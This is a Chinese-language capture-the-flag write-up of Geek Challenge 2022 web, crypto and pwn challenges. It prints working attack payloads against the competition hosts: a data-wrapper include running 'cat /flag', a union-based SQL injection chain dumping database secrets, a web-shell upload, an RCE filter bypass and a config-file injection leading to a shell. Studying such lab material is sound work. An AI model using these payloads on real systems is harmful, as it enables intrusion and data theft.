0%

Geek Challenge 2022题目复现

Geek Challenge 2022 wp

Web

L0veSyc

直接查看源码

image-20221116195705960

得到flag SYC{We1c0me_t0_Geek_2022!}

Can Can Need

根据题目要求一步步的来

image-20221116195842244

然后得到flag SYC{E3sy_Http_hhXD2333}

登陆试试

image-20221116212425702

自己做一个字典直接爆破一下得到flag

你能发包吗

image-20221117200046115

首先抓包看一下

image-20221117200111646

得到源码,发现是想让我们自己构造一个请求,意思就是通过xhr对象发出post请求 ifffflag=flag.php 并且还需要get一下ifffflag的值

所以简单的构造

image-20221117200539867

最后传一下 ifffflag=flag

image-20221117200602327

最终得到flag SYC{:D_y0u_has_known_how_to_construct_a_requests_by_yourself}

justphp

image-20221117194404588

先简单的审计一下这个源码,意思就是我们需要get传参SleepTime,但是这个参数需要是一个int并且需要大于86400 * 30 小于86400 * 60,但是仅仅满足这些是不行的,因为我传参进去的数很大,而sleep函数是需要满足上面你传参的那些时间才能进行下一步echo flag

因此,我们可以使用科学计数法来绕过,若果我们输入3e6的话,就是3000000,刚好在两个数之间,而且int之后就是3,所以只需要等3秒就会出现flag

sleep函数

image-20221117194707201

1
SYC{C@nzik#lik3s_to#sleeP_in_class?*#}

justfind

首先查看一下源码,但是禁用了右键以及F12,所以直接在url前面加一下view-source:

得到源码image-20221117203928259

最后在js/load.js里面找到image-20221117204010450

最后找到flag的编码

image-20221117204037285

base64+JJEncode得到最终的flag

SYC{D@y0u_LiKKe_D3code_EnCodE}

ezR_F_I

1
hint: 想要得到flag就快来包含一下叭 可能你需要一台具有公网ip的服务器

所以本题目是远程文件包含,简单的测试一下会发现不论输入什么,后面都会出来一个.html

简单的上网搜索一下

image-20221117210117752

试了一下这位博主的payload,发现可以执行phpinfo

image-20221117210344229

然后直接执行一下cat /flag的命令

payload

1
http://121.5.62.30:7005/include.php?file=data:text/plain,<?php system('cat /flag'); ?>

image-20221117210544264

最终找到flag SYC{Th1s_is_RFI_hahaha!}

WelcomeSQL

1.判断注入点

image-20221118165334294

image-20221118165351251

经过判断,本题存在注入点,且是整型参数,字段是4

2.order by判断表中列的数量

order by原本的用途是排序,order by x(x为一个数字),就会按照表中第x个字段进行重新排序。如果一个表的字段数只有4,但是我们用order by 5也就是,把第5个字段去排序,而数据库中并不存在第5字段,所以会报错。
而我们可以利用这个特点去猜字段数(一般使用二分的思路来判断)

1
2
http://120.77.11.65:8100/?id=1 order by 2  //页面正常
http://120.77.11.65:8100/?id=1 order by 3 //页面返回错误

所以由此判断,表中一共2个字段

3.使用union,确认显示位

payload :

1
http://120.77.11.65:8100/?id=-1 union select 1,2

image-20221118170521723

可以看到1,2是回显位

4.获取数据库信息

0x01获取数据库名:

payload:

1
http://120.77.11.65:8100/?id=-1 union select 1,database()

database()函数作用是:返回默认或当前数据库的名称

image-20221118170955692

数据库名为:welcomesql

payload:

1
http://120.77.11.65:8100/?id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

image-20221118171521045

获取所有数据库名,但是information_schema,mysql,performance_schema都是常见的数据库的名称,所以直接查看WelcomeSQL里面的表名

0x02获取数据库表名:

paylaod:

1
http://120.77.11.65:8100/?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='WelcomeSQL'

image-20221118171630750

只有一个user_info表名

但是正常的都是users(用户)通常用户的账号和密码会存放在这个表当中;

0x03获取数据库表中所有字段:

payload:

1
http://120.77.11.65:8100/?id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='WelcomeSQL' and table_name='user_info'

image-20221118171827318

发现有一个secret字段

0x04获取字段中的数据:

查询secret的值

payload:

1
http://120.77.11.65:8100/?id=-1 union select 1,group_concat(secret)from WelcomeSQL.user_info

image-20221118172910199

最终得到flag SYC{VV31c0me_T0_5QL1_vv01rd_!}

相关连接:https://blog.csdn.net/qq_41936015/article/details/126236200

babyupload

直接上传一句话木马

image-20221117202254761

然后蚁剑连接一下找到flag

image-20221117202358192

flag为 SYC{welc0me_t0_up10ad_wor1d!}

ezrce

1
hint:我都懂,我都明白,我是没有策略的防火墙,是被无限绕过的WAF,是扫不出马的EDR,是丢流量的探针,是没升级的态势感知,我守不住内网,也守不住你。#flag或许会在当前目录#

首先看一下源码

image-20221117213311333

发现过滤了好多东西,但是没有过滤tac,所以浅浅的试一下

image-20221117213655139

但是没发现任何东西,把flag改为*之后查看源码,找到了flag.php

image-20221117213809941

没有头绪,但是想到hint,我们可以尝试列一下目录

(方法一)

image-20221117214400353

(方法二)

image-20221117214600025

所以直接tac may_b3_y0u_can_pr0t3ct.php,但是php被过滤了,直接m*

image-20221117214850401

最终得到flag SYC{y0u_n33d_a_g1rfr1nd}

uploadrce

首先先扫一下备份文件

image-20221119140758516

首先看一下.config.php.swp

1
$$option='chinfo'; <?php 

再看一下index.php

1
ffile_put_contents('./config.php', $file); $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); $file = file_get_contents('./config.php');     }       echo ':Where is the source code of config.php?'; if($str != NULL){  $str = addslashes($_GET['option']); if(!isset($_GET['option'])) die(); <?php 

简单的拼接一下

image-20221119141100231

在网上简单的搜索了一下,发现这是一个经典的配置文件

1
2
3
4
5
6
7
8
9
index.php

<?php
$str=addslashes($_GET['option']);
$file=file_get_contents('option.php');
$file=preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
echo $file;
file_put_contents('option.php', $file);
?>

先分析一下代码:

  1. 对传入的 option 参数进行 addslashes ,比如有单引号 ',会变成\'image-20221119141356563

    for example:

    image-20221119141443108

  2. 通过正则匹配config.php 中的 $option='123';,将123的内容替换为经第一步处理的值。

  3. 替换完成,将其写入config.php

    方法一(利用正则的.*、单引号):

先本地搭建一个环境,访问 127.0.0.1/index.php?option=123';%0aphpinfo();//

先创建一个config.php,内容如下:

image-20221119142154242

经过 addslashes 后,$str 值为 123\';%0aphpinfo();//

进行正则匹配并写入文件,config.php的内容变为:

image-20221119142107008

再访问: http://127.0.0.1/index.php?option=123

正则匹配时,会将两个单引号里面的内容即123\,替换为123

此时,config.php的内容变为

image-20221119142635043

最后再访问: http://127.0.0.1/config.php

成功shell

方法二(利用preg_replace的转义):

访问 : http://127.0.0.1/index.php?option=123\';phpinfo();//

经过 addslashes 后,$str 为 123\\\';phpinfo();//

(虽然 addslashes 将\转义为\\但是经过preg_replace正则匹配处理后\\又变为了\ ,三个\变成了两个\)

所以config.php变为:

image-20221119143310461

然后再访问: http://127.0.0.1/config.php

成功getshell

最终使用的第二个方法得到了flag

image-20221119144347328

flag SYC{y0u_c@n_RCEME_n0w!}

参考链接:

(82条消息) PHP正则配合写配置文件导致Getshell_weixin_30888707的博客-CSDN博客

ezrequset

image-20221121213615321

点开是一个抢课的页面,看了大佬的wp,发现是通过正则匹配需求,然后编写python脚本进行抢课,成功后查看cookie即得flag

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
header = {
"Cookie":"PHPSESSID=6095ef9901135760a85578d4aeb1090c; path=/",
}
url_index = "http://xb527867-699c-11ed-bc30-8a7749ef5b49.challenge.sycsec.com/?action=index"
res = requests.post(url_index,data={'xh':1234},headers=header)
txt = res.text
# print(txt)
xlass = re.findall(r"鱼:(.+?)<!DOCTYPE",txt)[0]
print(xlass)
no = re.findall(r"(.+?)号",xlass)[0]
print(no)
xlass1 = re.findall(r"号(.*)",xlass)[0]
print(xlass1)
url_check = "http://xb527867-699c-11ed-bc30-8a7749ef5b49.challenge.sycsec.com/?action=check"
data = {
"num":no,
"class":xlass1,
}
res1 = requests.post(url_check,data,headers=header)
print(res1.text)
cookie = requests.utils.dict_from_cookiejar(res1.cookies)
print(cookie)

运行结果如下

image-20221121213821596

flag SYC{just_@_ez_requ3st}

Crypto

StarterRSA

简单的rsa,首先在yafu里面分解一下n,得到p和q

image-20221117192835491

然后使用简单的脚本跑一下

image-20221117193056217

最终得到flag SYC{5t4rt_R5A_ls_1t_3a5y?}

pwn

nc

直接nc得到flag SYC{n0w_d0~y0u-know_wh@7-1$_n<_w#47-15-pwn}

image-20221118184011747

pwn1_1

image-20221119094105328

找到backdoor 发现远程地址是401196

image-20221118191114741

image-20221118191027001

所以偏移量是16+8=24

直接上脚本

image-20221119094236259

image-20221119094256860